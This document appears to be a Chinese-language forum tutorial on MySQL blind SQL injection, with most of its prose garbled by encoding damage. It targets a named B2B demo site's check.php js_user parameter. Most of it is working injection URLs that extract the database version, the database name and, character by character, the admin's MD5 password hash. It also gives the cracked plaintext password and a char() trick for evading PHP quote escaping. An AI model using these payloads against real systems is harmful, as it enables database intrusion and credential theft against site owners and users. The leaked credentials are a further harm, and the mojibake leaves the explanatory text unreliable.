MySQLäעȫ ʵ
ʵϰ̳ȺעʹôעݣijڽĿģʹø鷳äעĶģҪһSQLäעʵdzdzѾ
ߣYoCo Smart
ԣϰϢ - http://BlackBap.Org
ע㣬һB2Bվվ˾
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
[*]ûѱע
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
[*]select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
ƴ
ʾѾˡǿһעҳĴ루ɾģ
[*]$js_user = trim($_GET["js_user"]);
[*]if($js_user){
[*]$num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
[*]if(!$num)
[*]echo "<div class=tips3></div>";
[*]else
[*]echo "<div class=tips2>ûѱע</div>";
[*]}
ƴ
GETʽȡֵıjs_userȻûй˱ֱӴݿִУMySQLҲִˣDzûʾݿκϢжǷ
ôȴunionäעɡ
ȿ汾
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23
ƴ
ʱԭĴеSQLôִеģ
[*]select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
ƴ
ΪִгɹԲif(!$num)ԡûѱעᡱô汾Ϊ5
database()ݣ
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
[*]database()6
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
[*]l
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
[*]li
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
[*]lic
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
[*]licl
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
[*]licln
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
[*]licclny
ƴ
length()ǼݵijȣΪ֣ôСں͵ںжǷȷ
Ҫע⿴һleft()еֱ仯left()вοMySQLֲᡣ
һжϾ䣺
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
[*]select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
ƴ
ʱlength()еpassDz²ģȻǽڲ²ȷĻϡ
Ҫ˵ǣpassǰselectuseridͬһdemo_b2b_adminԲҪٴselect
ôܵõ
[*]û'#ֹҴȥһ£Ƕáǰա
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
[*]32md5ܣܵõlcl2wly
ƴ
ݵķ϶Ƕ
demo_b2b_adminݣ±Σ
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
ƴ
ʵеSQLǣ
[*]select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
ƴ
䣬information_schemaģԲοMySQLעһ塣
limit x,y ÷ԲοMySQLֲ
ʣµҪ˵ľasciihex
DZܿphpGPCת壬磺
[*]http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
[*]select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
ƴ
substr()÷ԲοMySQLֲᣬˡChar()滻Ϊascii
ҳ:
[1]